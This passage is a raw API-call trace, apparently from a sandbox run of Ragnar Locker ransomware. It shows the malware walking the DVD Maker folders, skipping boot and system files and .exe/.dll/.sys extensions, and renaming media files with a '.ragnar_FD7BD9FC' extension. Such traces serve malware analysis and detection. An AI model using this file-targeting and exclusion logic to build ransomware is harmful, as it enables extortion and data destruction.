ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0078.712] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2=".") returned 1 [0078.712] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="..") returned 1 [0078.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0078.713] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2=".") returned 1 [0078.713] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="..") returned 1 [0078.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0078.713] lstrcmpiW (lpString1="nav_uparrow.png", lpString2=".") returned 1 [0078.713] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="..") returned 1 [0078.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81271720, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.713] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.713] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81271720, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.713] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.713] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81271720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81271720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0078.713] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.713] lstrcpyW (in: lpString1=0x1eab58, lpString2="babyblue.png" | out: lpString1="babyblue.png") returned="babyblue.png" [0078.713] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned=".png" [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="autorun.inf") returned 1 [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="boot.ini") returned -1 [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="bootfont.bin") returned -1 [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="bootsect.bak") returned -1 [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="bootmgr") returned -1 [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="bootmgr.efi") returned -1 [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="bootmgfw.efi") returned -1 [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="desktop.ini") returned -1 [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="iconcache.db") returned -1 [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="ntldr") returned -1 [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="ntuser.dat") returned -1 [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="ntuser.dat.log") returned -1 [0078.713] lstrcmpiW (lpString1="babyblue.png", lpString2="ntuser.ini") returned -1 [0078.714] lstrcmpiW (lpString1="babyblue.png", lpString2="thumbs.db") returned -1 [0078.714] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.714] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.714] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.714] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.714] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.714] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.714] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png")) returned 0x20 [0078.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.714] CloseHandle (hObject=0xffffffff) returned 0 [0078.714] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" [0078.714] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.ragnar_FD7BD9FC" [0078.714] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.714] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0078.714] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.714] lstrcpyW (in: lpString1=0x1eab58, lpString2="BabyBoyMainBackground.wmv" | out: lpString1="BabyBoyMainBackground.wmv") returned="BabyBoyMainBackground.wmv" [0078.714] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned=".wmv" [0078.714] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.714] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="autorun.inf") returned 1 [0078.714] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="boot.ini") returned -1 [0078.714] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="bootfont.bin") returned -1 [0078.714] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="bootsect.bak") returned -1 [0078.715] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="bootmgr") returned -1 [0078.715] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="bootmgr.efi") returned -1 [0078.715] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="bootmgfw.efi") returned -1 [0078.715] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="desktop.ini") returned -1 [0078.715] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="iconcache.db") returned -1 [0078.715] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="ntldr") returned -1 [0078.715] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="ntuser.dat") returned -1 [0078.715] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="ntuser.dat.log") returned -1 [0078.715] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="ntuser.ini") returned -1 [0078.715] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="thumbs.db") returned -1 [0078.715] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.715] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.715] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.715] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.715] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.715] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.715] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv")) returned 0x20 [0078.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.716] CloseHandle (hObject=0xffffffff) returned 0 [0078.716] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" [0078.716] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.ragnar_FD7BD9FC" [0078.716] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.716] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0078.716] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.716] lstrcpyW (in: lpString1=0x1eab58, lpString2="BabyBoyMainBackground_PAL.wmv" | out: lpString1="BabyBoyMainBackground_PAL.wmv") returned="BabyBoyMainBackground_PAL.wmv" [0078.716] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned=".wmv" [0078.716] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.716] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="autorun.inf") returned 1 [0078.716] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0078.716] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="bootfont.bin") returned -1 [0078.716] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="bootsect.bak") returned -1 [0078.716] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="bootmgr") returned -1 [0078.716] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="bootmgr.efi") returned -1 [0078.716] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="bootmgfw.efi") returned -1 [0078.716] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="desktop.ini") returned -1 [0078.716] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="iconcache.db") returned -1 [0078.717] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="ntldr") returned -1 [0078.717] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="ntuser.dat") returned -1 [0078.717] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="ntuser.dat.log") returned -1 [0078.717] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="ntuser.ini") returned -1 [0078.717] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="thumbs.db") returned -1 [0078.717] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.717] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.717] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.717] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.717] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.717] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.717] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv")) returned 0x20 [0078.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.717] CloseHandle (hObject=0xffffffff) returned 0 [0078.717] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" [0078.717] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.ragnar_FD7BD9FC" [0078.717] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.717] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0078.717] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.717] lstrcpyW (in: lpString1=0x1eab58, lpString2="BabyBoyMainToNotesBackground.wmv" | out: lpString1="BabyBoyMainToNotesBackground.wmv") returned="BabyBoyMainToNotesBackground.wmv" [0078.717] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned=".wmv" [0078.717] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.717] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="autorun.inf") returned 1 [0078.717] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="boot.ini") returned -1 [0078.718] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="bootfont.bin") returned -1 [0078.718] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="bootsect.bak") returned -1 [0078.718] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="bootmgr") returned -1 [0078.718] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="bootmgr.efi") returned -1 [0078.718] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="bootmgfw.efi") returned -1 [0078.718] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="desktop.ini") returned -1 [0078.718] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="iconcache.db") returned -1 [0078.718] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="ntldr") returned -1 [0078.718] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="ntuser.dat") returned -1 [0078.718] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="ntuser.dat.log") returned -1 [0078.718] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="ntuser.ini") returned -1 [0078.718] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="thumbs.db") returned -1 [0078.718] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.718] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.718] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.718] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.718] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.718] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.718] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv")) returned 0x20 [0078.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.718] CloseHandle (hObject=0xffffffff) returned 0 [0078.718] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" [0078.718] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.ragnar_FD7BD9FC" [0078.718] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.718] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0078.718] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD 